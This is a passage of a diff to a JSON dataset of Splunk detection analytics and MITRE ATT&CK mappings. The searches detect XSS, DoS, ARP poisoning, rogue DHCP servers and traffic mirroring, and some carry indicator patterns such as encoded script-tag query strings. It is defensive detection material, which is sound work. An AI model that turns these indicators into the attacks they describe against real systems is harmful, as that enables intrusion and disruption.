10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "A potential XSS attempt has been detected from $user$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1189", - "mitre_attack_technique": "Drive-by Compromise", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT32", - "APT37", - "APT38", - "Andariel", - "Axiom", - "BRONZE BUTLER", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "Elderwood", - "Lazarus Group", - "Leafminer", - "Leviathan", - "Machete", - "Magic Hound", - "Mustard Tempest", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Threat Group-3390", - "Transparent Tribe", - "Turla", - "Windigo", - "Windshift" - ] - } - ] - } - }, - { - "name": "Splunk unnecessary file extensions allowed by lookup table uploads", - "description": "The following analytic identifies user activity related to uploading lookup tables with unnecessary filename extensions in Splunk Enterprise versions below 8.1.13, 8.2.10, and 9.0.4. It detects this activity by monitoring HTTP methods (POST, DELETE) and specific URI paths in the internal `splunkd_access` logs. This behavior is significant because it can indicate attempts to upload potentially malicious files disguised as lookup tables. If confirmed malicious, this activity could allow an attacker to execute unauthorized code or manipulate data within the Splunk environment, leading to potential data breaches or system compromise.", - "search": "`splunkda` method IN (\"POST\", \"DELETE\") uri_path=/servicesNS/*/ui/views/* | eval activity = case( method==\"POST\" AND like( uri_path , \"%/acl\" ) , \"Permissions Update\", method==\"POST\" AND NOT like( uri_path , \"%/acl\" ) , \"Edited\" , method==\"DELETE\" , \"Deleted\" ) | rex field=uri_path \"(?.*?)\\/ui\\/views/(?.*)\" | eval dashboard = urldecode( dashboard_encoded ) | table _time, uri_path, user, dashboard, activity, uri_path | `splunk_unnecessary_file_extensions_allowed_by_lookup_table_uploads_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Potential lookup template injection attempt from $user$ on lookup table at path $uri_path$", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1189", - "mitre_attack_technique": "Drive-by Compromise", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT32", - "APT37", - "APT38", - "Andariel", - "Axiom", - "BRONZE BUTLER", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "Elderwood", - "Lazarus Group", - "Leafminer", - "Leviathan", - "Machete", - "Magic Hound", - "Mustard Tempest", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Threat Group-3390", - "Transparent Tribe", - "Turla", - "Windigo", - "Windshift" - ] - } - ] - } - }, - { - "name": "Splunk XSS in Highlighted JSON Events", - "description": "The following analytic identifies potential exploitation of a Cross-Site Scripting (XSS) vulnerability in Splunk Enterprise 9.1.2. It detects suspicious requests to the Splunk web GUI that may execute JavaScript within script tags. This detection leverages logs from the `splunkd_ui` data source, focusing on specific URI paths and HTTP methods. This activity is significant as it can allow attackers to execute arbitrary JavaScript, potentially accessing the API with the logged-in user's permissions. If the user is an admin, the attacker could create an admin account, leading to full control over the Splunk environment.", - "search": "`splunkd_ui` \"/en-US/splunkd/__raw/servicesNS/nobody/search/authentication/users\" status=201 | stats count min(_time) as firstTime max(_time) as lastTime by clientip, uri_path, method | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `splunk_xss_in_highlighted_json_events_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "clientip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible XSS exploitation from $clientip$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1189", - "mitre_attack_technique": "Drive-by Compromise", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT32", - "APT37", - "APT38", - "Andariel", - "Axiom", - "BRONZE BUTLER", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "Elderwood", - "Lazarus Group", - "Leafminer", - "Leviathan", - "Machete", - "Magic Hound", - "Mustard Tempest", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Threat Group-3390", - "Transparent Tribe", - "Turla", - "Windigo", - "Windshift" - ] - } - ] - } - }, - { - "name": "Splunk XSS in Monitoring Console", - "description": "The following analytic identifies attempts to exploit a reflective Cross-Site Scripting (XSS) vulnerability in the Splunk Distributed Monitoring Console app. It detects GET requests with suspicious query parameters by analyzing `splunkd_web` logs in the _internal index. This activity is significant because it targets a known vulnerability (CVE-2022-27183) that could allow attackers to execute arbitrary scripts in the context of the user's browser. If confirmed malicious, this could lead to unauthorized actions, data theft, or further compromise of the Splunk environment.", - "search": " `splunkd_web` method=\"GET\" uri_query=\"description=%3C*\" | table _time host status clientip user uri | `splunk_xss_in_monitoring_console_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A potential XSS attempt has been detected from $user$", - "risk_score": 40, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1189", - "mitre_attack_technique": "Drive-by Compromise", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT32", - "APT37", - "APT38", - "Andariel", - "Axiom", - "BRONZE BUTLER", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "Elderwood", - "Lazarus Group", - "Leafminer", - "Leviathan", - "Machete", - "Magic Hound", - "Mustard Tempest", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Threat Group-3390", - "Transparent Tribe", - "Turla", - "Windigo", - "Windshift" - ] - } - ] - } - }, - { - "name": "Splunk XSS in Save table dialog header in search page", - "description": "The following analytic identifies persistent cross-site scripting (XSS) attempts in the 'Save Table' dialog on the Splunk search page. It detects POST requests to the endpoint `/en-US/splunkd/__raw/servicesNS/nobody/search/datamodel/model` containing potential XSS payloads. This activity is significant because it can allow a remote user with the \"power\" role to inject malicious scripts, leading to persistent XSS vulnerabilities. If confirmed malicious, this could enable attackers to execute arbitrary scripts in the context of the affected user, potentially leading to data theft, session hijacking, or further exploitation within the Splunk environment.", - "search": "`splunkd_webx` method=POST uri=/en-US/splunkd/__raw/servicesNS/nobody/search/datamodel/model | table _time host status clientip user uri | `splunk_xss_in_save_table_dialog_header_in_search_page_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "clientip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible XSS exploitation attempt from $clientip$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1189", - "mitre_attack_technique": "Drive-by Compromise", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT32", - "APT37", - "APT38", - "Andariel", - "Axiom", - "BRONZE BUTLER", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "Elderwood", - "Lazarus Group", - "Leafminer", - "Leviathan", - "Machete", - "Magic Hound", - "Mustard Tempest", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Threat Group-3390", - "Transparent Tribe", - "Turla", - "Windigo", - "Windshift" - ] - } - ] - } - }, - { - "name": "Splunk XSS via View", - "description": "The following analytic identifies potential Cross-Site Scripting (XSS) attempts via the 'layoutPanel' attribute in the 'module' tag within XML Views in Splunk Enterprise versions below 8.1.13, 8.2.10, and 9.0.4. It leverages internal logs from \"splunk_web_service\" and \"splunk_python\" sourcetypes, focusing on messages containing \"loadParams.\" This activity is significant as it can lead to unauthorized script execution within the Splunk Web interface, potentially compromising the security of the instance. If confirmed malicious, attackers could execute arbitrary scripts, leading to data theft, session hijacking, or further exploitation of the Splunk environment.", - "search": "index = _internal sourcetype IN (\"splunk_web_service\", \"splunk_python\") message=\"*loadParams*\" | `security_content_ctime(_time)` | table _time message fileName | `splunk_xss_via_view_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "fileName", - "type": "URL String", - "role": [ - "Target" - ] - } - ], - "message": "Potential stored XSS attempt via $fileName$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1189", - "mitre_attack_technique": "Drive-by Compromise", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT32", - "APT37", - "APT38", - "Andariel", - "Axiom", - "BRONZE BUTLER", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "Elderwood", - "Lazarus Group", - "Leafminer", - "Leviathan", - "Machete", - "Magic Hound", - "Mustard Tempest", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Threat Group-3390", - "Transparent Tribe", - "Turla", - "Windigo", - "Windshift" - ] - } - ] - } - }, - { - "name": "Detect hosts connecting to dynamic domain providers", - "description": "The following analytic identifies DNS queries from internal hosts to dynamic domain providers. It leverages DNS query logs from the `Network_Resolution` data model and cross-references them with a lookup file containing known dynamic DNS providers. This activity is significant because attackers often use dynamic DNS services to host malicious payloads or command-and-control servers, making it crucial for security teams to monitor. If confirmed malicious, this activity could allow attackers to bypass firewall blocks, evade detection, and maintain persistent access to the network.", - "search": "| tstats `security_content_summariesonly` count values(DNS.answer) as answer min(_time) as firstTime from datamodel=Network_Resolution by DNS.query host | `drop_dm_object_name(\"DNS\")` | `security_content_ctime(firstTime)` | `dynamic_dns_providers` | `detect_hosts_connecting_to_dynamic_domain_providers_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "DNS Hijacking", - "Data Protection", - "Dynamic DNS", - "Prohibited Traffic Allowed or Protocol Mismatch", - "Suspicious DNS Traffic" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A dns query $query$ from your infra connecting to suspicious domain in host $host$", - "risk_score": 56, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1189", - "mitre_attack_technique": "Drive-by Compromise", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT32", - "APT37", - "APT38", - "Andariel", - "Axiom", - "BRONZE BUTLER", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "Elderwood", - "Lazarus Group", - "Leafminer", - "Leviathan", - "Machete", - "Magic Hound", - "Mustard Tempest", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Threat Group-3390", - "Transparent Tribe", - "Turla", - "Windigo", - "Windshift" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -646109,626 +434212,91 @@ "description": "Information about the flow of network packets in a network connection, either captured on the wire or on an endpoint.", "source_data_element": "network traffic flow", "relationship": "identified", - "target_data_element": "transport layer protocol" - }, - { - "technique_id": "T1498", - "technique": "Network Denial of Service", - "tactic": [ - "impact" - ], - "platform": [ - "Windows", - "Azure AD", - "Office 365", - "SaaS", - "IaaS", - "Linux", - "macOS", - "Google Workspace", - "Containers" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network traffic flow", - "type": "information", - "description": "Information about the flow of network packets in a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic flow", - "relationship": "identified", - "target_data_element": "application layer protocol" - }, - { - "technique_id": "T1498", - "technique": "Network Denial of Service", - "tactic": [ - "impact" - ], - "platform": [ - "Windows", - "Azure AD", - "Office 365", - "SaaS", - "IaaS", - "Linux", - "macOS", - "Google Workspace", - "Containers" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network traffic flow", - "type": "information", - "description": "Information about the flow of network packets in a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic flow", - "relationship": "identified", - "target_data_element": "network traffic volume" - }, - { - "name": "Splunk DoS Using Malformed SAML Request", - "description": "The following analytic detects a denial of service (DoS) attempt using a malformed SAML request targeting the /saml/acs REST endpoint in Splunk Enterprise versions lower than 9.0.6 and 8.2.12. It leverages `splunkd` logs, specifically looking for error messages containing \"xpointer\" in the `expr` field. This activity is significant because it can cause the Splunk daemon to crash or hang, disrupting service availability. If confirmed malicious, this attack could lead to prolonged downtime, impacting the organization's ability to monitor and respond to security events.", - "search": "`splunkd` event_message=*error* expr=*xpointer* | stats count min(_time) as firstTime max(_time) as lastTime by component expr splunk_server event_message | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `splunk_dos_using_malformed_saml_request_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "splunk_server", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Possible DoS attack against Splunk Server $splunk_server$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - } - ] - } - }, - { - "name": "Splunk DoS via Malformed S2S Request", - "description": "The following analytic identifies attempts to exploit a Denial of Service (DoS) vulnerability in the Splunk-to-Splunk (S2S) protocol by detecting malformed S2S requests. It leverages `splunkd` logs, specifically looking for \"ERROR\" level logs from the \"TcpInputProc\" component with the thread name \"FwdDataReceiverThread\" and the message \"Invalid _meta atom.\" This activity is significant as it targets a known vulnerability that could disrupt Splunk services. If confirmed malicious, this could lead to service outages, impacting the availability and reliability of Splunk for monitoring and analysis.", - "search": "`splunkd` log_level=\"ERROR\" component=\"TcpInputProc\" thread_name=\"FwdDataReceiverThread\" \"Invalid _meta atom\" | table host, src | `splunk_dos_via_malformed_s2s_request_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "An attempt to exploit CVE-2021-3422 was detected from $src$ against $host$", - "risk_score": 50, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - } - ] - } - }, - { - "name": "Detect ARP Poisoning", - "description": "The following analytic detects ARP Poisoning attacks by monitoring for Dynamic ARP Inspection (DAI) errors on Cisco network devices. It leverages logs from Cisco devices, specifically looking for events where the ARP inspection feature has disabled an interface due to suspicious activity. This activity is significant because ARP Poisoning can allow attackers to intercept, modify, or disrupt network traffic, leading to potential data breaches or denial of service. If confirmed malicious, this could enable attackers to perform man-in-the-middle attacks, compromising the integrity and confidentiality of network communications.", - "search": "`cisco_networks` facility=\"PM\" mnemonic=\"ERR_DISABLE\" disable_cause=\"arp-inspection\" | eval src_interface=src_int_prefix_long+src_int_suffix | stats min(_time) AS firstTime max(_time) AS lastTime count BY host src_interface | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)`| `detect_arp_poisoning_filter`", - "tags": { - "analytic_story": [ - "Router and Infrastructure Security" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Delivery", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1200", - "mitre_attack_technique": "Hardware Additions", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "DarkVishnya" - ] - }, - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1557", - "mitre_attack_technique": "Adversary-in-the-Middle", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Kimsuky" - ] - }, - { - "mitre_attack_id": "T1557.002", - "mitre_attack_technique": "ARP Cache Poisoning", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Cleaver", - "LuminousMoth" - ] - } - ] - } - }, - { - "name": "Detect IPv6 Network Infrastructure Threats", - "description": "The following analytic detects IPv6 network infrastructure threats by identifying suspicious activities such as IP and MAC address theft or packet drops. It leverages logs from Cisco network devices configured with First Hop Security measures like RA Guard and DHCP Guard. This activity is significant as it can indicate attempts to compromise network integrity and security. If confirmed malicious, attackers could manipulate network traffic, leading to potential data interception, unauthorized access, or network disruption.", - "search": "`cisco_networks` facility=\"SISF\" mnemonic IN (\"IP_THEFT\",\"MAC_THEFT\",\"MAC_AND_IP_THEFT\",\"PAK_DROP\") | eval src_interface=src_int_prefix_long+src_int_suffix | eval dest_interface=dest_int_prefix_long+dest_int_suffix | stats min(_time) AS firstTime max(_time) AS lastTime values(src_mac) AS src_mac values(src_vlan) AS src_vlan values(mnemonic) AS mnemonic values(vendor_explanation) AS vendor_explanation values(src_ip) AS src_ip values(dest_ip) AS dest_ip values(dest_interface) AS dest_interface values(action) AS action count BY host src_interface | table host src_interface dest_interface src_mac src_ip dest_ip src_vlan mnemonic vendor_explanation action count | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `detect_ipv6_network_infrastructure_threats_filter`", - "tags": { - "analytic_story": [ - "Router and Infrastructure Security" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Delivery", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1200", - "mitre_attack_technique": "Hardware Additions", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "DarkVishnya" - ] - }, - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1557", - "mitre_attack_technique": "Adversary-in-the-Middle", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Kimsuky" - ] - }, - { - "mitre_attack_id": "T1557.002", - "mitre_attack_technique": "ARP Cache Poisoning", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Cleaver", - "LuminousMoth" - ] - } - ] - } - }, - { - "name": "Detect Port Security Violation", - "description": "The following analytic detects port security violations on Cisco switches. It leverages logs from Cisco network devices, specifically looking for events with mnemonics indicating port security violations. This activity is significant because it indicates an unauthorized device attempting to connect to a secured port, potentially bypassing network access controls. If confirmed malicious, this could allow an attacker to gain unauthorized access to the network, leading to data exfiltration, network disruption, or further lateral movement within the environment.", - "search": "`cisco_networks` (facility=\"PM\" mnemonic=\"ERR_DISABLE\" disable_cause=\"psecure-violation\") OR (facility=\"PORT_SECURITY\" mnemonic=\"PSECURE_VIOLATION\" OR mnemonic=\"PSECURE_VIOLATION_VLAN\") | eval src_interface=src_int_prefix_long+src_int_suffix | stats min(_time) AS firstTime max(_time) AS lastTime values(disable_cause) AS disable_cause values(src_mac) AS src_mac values(src_vlan) AS src_vlan values(action) AS action count by host src_interface | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_port_security_violation_filter`", - "tags": { - "analytic_story": [ - "Router and Infrastructure Security" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Delivery", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1200", - "mitre_attack_technique": "Hardware Additions", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "DarkVishnya" - ] - }, - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1557", - "mitre_attack_technique": "Adversary-in-the-Middle", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Kimsuky" - ] - }, - { - "mitre_attack_id": "T1557.002", - "mitre_attack_technique": "ARP Cache Poisoning", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Cleaver", - "LuminousMoth" - ] - } - ] - } - }, - { - "name": "Detect Rogue DHCP Server", - "description": "The following analytic identifies the presence of unauthorized DHCP servers on the network. It leverages logs from Cisco network devices with DHCP Snooping enabled, specifically looking for events where DHCP leases are issued from untrusted ports. This activity is significant because rogue DHCP servers can facilitate Man-in-the-Middle attacks, leading to potential data interception and network disruption. If confirmed malicious, this could allow attackers to redirect network traffic, capture sensitive information, and compromise the integrity of the network.", - "search": "`cisco_networks` facility=\"DHCP_SNOOPING\" mnemonic=\"DHCP_SNOOPING_UNTRUSTED_PORT\" | stats min(_time) AS firstTime max(_time) AS lastTime count values(message_type) AS message_type values(src_mac) AS src_mac BY host | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)`| `detect_rogue_dhcp_server_filter`", - "tags": { - "analytic_story": [ - "Router and Infrastructure Security" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Delivery", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1200", - "mitre_attack_technique": "Hardware Additions", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "DarkVishnya" - ] - }, - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1557", - "mitre_attack_technique": "Adversary-in-the-Middle", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Kimsuky" - ] - } - ] - } + "target_data_element": "transport layer protocol" }, { - "name": "Detect Traffic Mirroring", - "description": "The following analytic detects the initiation of traffic mirroring sessions on Cisco network devices. It leverages logs with specific mnemonics and facilities related to traffic mirroring, such as \"ETH_SPAN_SESSION_UP\" and \"PKTCAP_START.\" This activity is significant because adversaries may use traffic mirroring to exfiltrate data by duplicating and forwarding network traffic to an external destination. If confirmed malicious, this could allow attackers to capture sensitive information, monitor network communications, and potentially compromise the integrity and confidentiality of the network.", - "search": "`cisco_networks` (facility=\"MIRROR\" mnemonic=\"ETH_SPAN_SESSION_UP\") OR (facility=\"SPAN\" mnemonic=\"SESSION_UP\") OR (facility=\"SPAN\" mnemonic=\"PKTCAP_START\") OR (mnemonic=\"CFGLOG_LOGGEDCMD\" command=\"monitor session*\") | stats min(_time) AS firstTime max(_time) AS lastTime count BY host facility mnemonic | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)` | `detect_traffic_mirroring_filter`", - "tags": { - "analytic_story": [ - "Router and Infrastructure Security" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1200", - "mitre_attack_technique": "Hardware Additions", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "DarkVishnya" - ] - }, - { - "mitre_attack_id": "T1020", - "mitre_attack_technique": "Automated Exfiltration", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "Gamaredon Group", - "Ke3chang", - "Sidewinder", - "Tropic Trooper" - ] - }, - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1020.001", - "mitre_attack_technique": "Traffic Duplication", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [] - } - ] - } + "technique_id": "T1498", + "technique": "Network Denial of Service", + "tactic": [ + "impact" + ], + "platform": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace", + "Containers" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network traffic flow", + "type": "information", + "description": "Information about the flow of network packets in a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic flow", + "relationship": "identified", + "target_data_element": "application layer protocol" }, { - "name": "Large Volume of DNS ANY Queries", - "description": "The following analytic identifies a large volume of DNS ANY queries, which may indicate a DNS amplification attack. It leverages the Network_Resolution data model to count DNS queries of type \"ANY\" directed to specific destinations. This activity is significant because DNS amplification attacks can overwhelm network resources, leading to Denial of Service (DoS) conditions. If confirmed malicious, this activity could disrupt services, degrade network performance, and potentially be part of a larger Distributed Denial of Service (DDoS) attack, impacting the availability of critical infrastructure.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Network_Resolution where nodename=DNS \"DNS.message_type\"=\"QUERY\" \"DNS.record_type\"=\"ANY\" by \"DNS.dest\" | `drop_dm_object_name(\"DNS\")` | where count>200 | `large_volume_of_dns_any_queries_filter`", - "tags": { - "analytic_story": [ - "DNS Amplification Attacks" - ], - "asset_type": "DNS Servers", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1498.002", - "mitre_attack_technique": "Reflection Amplification", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [] - } - ] - } + "technique_id": "T1498", + "technique": "Network Denial of Service", + "tactic": [ + "impact" + ], + "platform": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + 